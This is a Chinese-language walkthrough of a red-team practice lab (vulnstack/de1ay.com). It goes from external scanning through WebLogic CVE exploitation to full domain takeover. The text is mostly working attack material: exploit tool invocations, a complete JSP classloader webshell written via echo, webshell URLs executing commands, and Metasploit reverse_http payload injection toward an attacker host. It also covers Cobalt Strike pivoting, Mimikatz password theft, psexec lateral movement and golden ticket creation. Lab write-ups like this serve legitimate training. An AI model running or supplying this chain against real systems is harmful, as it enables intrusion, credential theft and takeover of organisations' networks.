下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
| 主机名字 | IP |
|---|---|
| DC.de1ay.com | 10.10.10.10(内网) |
| WEB.de1ay.com | 10.10.10.80(内网)/192.168.111.80(外网) |
| PC.de1ay.com | 10.10.10.20(内网)/192.168.111.201(外网) |
| 攻击机kali | 192.168.1.129(外网) |
默认密码有:
使用管理员账号登录WEB.de1ay.com,然后在以下的路径中开启图中的三个服务,开启web服务。

然后需要关闭防火墙,我这里没有关闭的时候连ping都ping不通。
使用nmap扫描192.168.111.0网段
nmap -Pn 192.168.111.0/24

对上面收集到的信息进行集中
| IP | 端口 |
|---|---|
| 192.168.111.80 | 80、135、139、445、1433、3389、7001(weblogic)、49152、49153、49154 |
| 192.168.111.201 | 135、139、445、3389、49152、49153、49154、49155 |
发现80主机存在80端口和7001端口,然后先对80进行访问,发现是一个空页面

然后对7001端口进行访问,发现是一个404页面

对80、7001端口进行目录扫描,因为这两个都是有可能是web端口。经过扫描后发现80没有什么有价值的,然后7001端口存在console端口。

对console进行登录,发现是一个weblogic登录页面。

使用weblogicScanner扫描工具(该工具比WeblogicScan工具所能扫描到的漏洞更多)进行扫描
该扫描工具的下载地址:https://github.com/0xn0ne/weblogicScanner
python3 ./ws.py -t 192.168.111.80 -o ./end(输出的文件夹)
对输出的json文件放到JSON在线视图查看器进行查看,发现存在许多漏洞。

除了使用上面的weblogic工具外,还可以使用一款集合了weblogic的集成工具进行漏洞的探测。
下载地址:链接: https://pan.baidu.com/s/1Sm4c3pXjZP-_Rd5IfBbcCA?pwd=spg9 提取码: spg9 复制这段内容后打开百度网盘手机App,操作更方便哦
并且发现这里检测到的漏洞比上面扫描到的漏洞要少很多,只有一个CVE-2020-2551。

整理下上面得到的三个洞的信息。
| 漏洞编号 | 漏洞信息 |
|---|---|
| CVE-2014-4210 | SSRF漏洞 |
| CVE-2017-3506 | weblogic wls-wsat组件远程命令执行 |
| CVE-2017-10271 | weblogic wls组件远程命令执行漏洞 |
| CVE-2018-3191 | weblogic远程代码执行漏洞 |
| CVE-2018-3245 | weblogic反序列化远程代码执行漏洞 |
| CVE-2019-2618 | weblogic任意文件上传漏洞 |
| CVE-2019-2725 | weblogic反序列化远程命令执行漏洞 |
| CVE-2019-2729 | weblogic反序列化漏洞命令执行漏洞,和CVE-2019-2725类似 |
| CVE-2019-2888 | weblogic未受权XXE漏洞 |
| CVE-2020-2551 | weblogic IIOP反序列化漏洞 |
| CVE-2020-2883 | weblogic反序列化 |
| CVE-2020-14882 | weblogic未授权命令执行漏洞 |
http://192.168.111.80:7001/uddiexplorer/,发现无需登录就可以查看uddiexplorer网页,有可能存在该CVE-2014-4210漏洞。


但是在实际使用burpsuit进行内网探测的时候,发现无论是存在的ip还是不存在的ip,他的返回结果都是一样的,无法判断内网中是否存在该ip,因此该漏洞无法利用。


我这里本来想要验证是否存在该SSRF漏洞的,可是无论我访问的是dnslog还是ceye,都无法访问,因此无法验证是否存在该漏洞。

http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,出现下图所示的页面说明可能存在该CVE-2017-3506漏洞
java -jar WebLogic-XMLDecoder.jar -u http://192.168.111.80:7001

java -jar WebLogic-XMLDecoder.jar -s http://192.168.111.80:7001 /wls-wsat/CoordinatorPortType shell.jsp

http://192.168.111.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

http://192.168.111.80:7001/wls-wsat/CoordinatorPortType,如果出现如图所示的页面就说明有可能存在该CVE-2017-10271漏洞。(该漏洞是在CVE-2017-3506打了补丁后绕过的一种方式)

search CVE-2017-10271
use 1
set target Windows
set lhost 192.168.111.128
set lport 1111
set rhosts 192.168.111.80
run




python2 ./cve-2019-2618.py http://192.168.111.80:7001 weblogic 1qaz@WSX

http://192.168.111.80:7001/bea_wls_internal/shell.jsp,并且执行ipconfig命令,发现执行成功
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war,这里需要注意下,不同的webshell管理工具,他们的连接木马是不一样的。(PS:本人浪费了一个多小时才注意到。。。,还需要注意的是echo中出现左右尖括号的时候,需要在尖括号前面添加^符号来进行转义处理,否者就会出错)echo ^<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%^>
^<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%^> > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war\cmd4.jsp




会用到的工具:
python3 xxer.py -p 8989(端口) -H 192.168.111.128(xxer所在的ip地址)

python2 weblogic.py 192.168.111.80(weblogic的ip地址) 7001(weblogic的端口)



python3 CVE-2020-14882_ALL.py -u http://192.168.111.80:7001 -c "whoami"

在这十二个漏洞中,能直接拿下webshell的有CVE-2017-3506、CVE-2017-10271、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729有这五个漏洞。下面就不演示如何webshell了,考虑到在实战中是没有上帝视角的,因此只考虑 CVE-2017-10271 ,而不考虑和第六个洞:CVE-2019-2618 类似的需要web目录的的情况。
在拿到webshell后,第一步要查看进程列表,要将MSF的进程注入到explorer.exe中,因为该进程一般不会被关闭。

使用migrate命令注入到explorer.exe进程中

创建CS监听器,具体的配置如图所示

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128
set lport 9999
set session 1
run

注入下进程,防止被杀掉
inject 2240(注入的进程号) x64 msf-cs(监听器名字)

首先CS要生成一个外部的监听器(Foreign HTTP/HTTPS)

MSF使用和刚生成监听器一样的监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_http或者是set payload windows/meterpreter/reverse_https
set lhost 192.168.111.128
set lport 9876
然后在CS中新建会话,选择刚生成的监听器

回到MSF中查看,发现联动成功

我这里使用梼杌插件查看,发现存在一个360和另外两个杀软。

首先是收集有多少个网段,这里发现有两个,一个是10.10.10.80,还有一个是192.168.111.80。

收集存在的域
shell net view /domain

查看域管理员
shell net group "domain admins" /domain

查看主域控制器
shell netdom query pdc

查看域控
shell net group "Domain Controllers" /domain

查看SID
shell whoami /all

查看当前登录的域
shell net config workstation

还可以使用梼杌插件进行一键获取所有的信息

使用梼杌插件中的查看所有用户的sid,具体操作是梼杌->信息收集->查看mstsc记录->查看所有用户的记录

使用梼杌中的Mimikatz获取明文密码

在CS中选择文件浏览,选择把nbtscan工具上传到靶机中,然后就可以在web机器中运行nbtscan工具了。
shell C:\Windows\system32\nbtscan.exe 10.10.10.1/24

使用MSF挂socks代理,进行内网的端口扫描
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
run
vi /etc/proxychains.conf
#socks 127.0.0.1 9050
socks5 127.0.0.1 1080

使用nmap扫描,但是发现扫描的结果并不符合实际情况,他这里的扫描结果没有一个是开放的,这不符合实际情况。

使用CS自带的扫描,具体的的操作是:视图->目标列表->目标列表中的主机右击选择扫描,选择所得到的会话,然后点击运行

这里列举下其中的DC端口扫描的结果,查看具体的结果是右击选择服务,其余两台主机的操作一样

使用psexec进行横向移动,横向移动的前提是需要获取到NTLM值,然后点击视图->目标列表->DC右键->横向移动->psexec->选择其中的一个user、password、DE1AY,随便选择一个监听器和会话。

拿下域控DC了

同样的流程,我们可以如法炮制拿下PC机

黄金票据需要域成员名、域成员密码、域控地址(10.10.10.10)、域sid、krbtgt哈希值,其中krbtgt哈希值是要拿到域控之后在域控里面才能拿到的,因此黄金票据是只能在拿到域控之后的权限维持操作。
首先在域控里面运行hashdump命令获取krbtgt的哈希值

在DC右键生成黄金票据,输入所需要的数据。

生成黄金票据成功
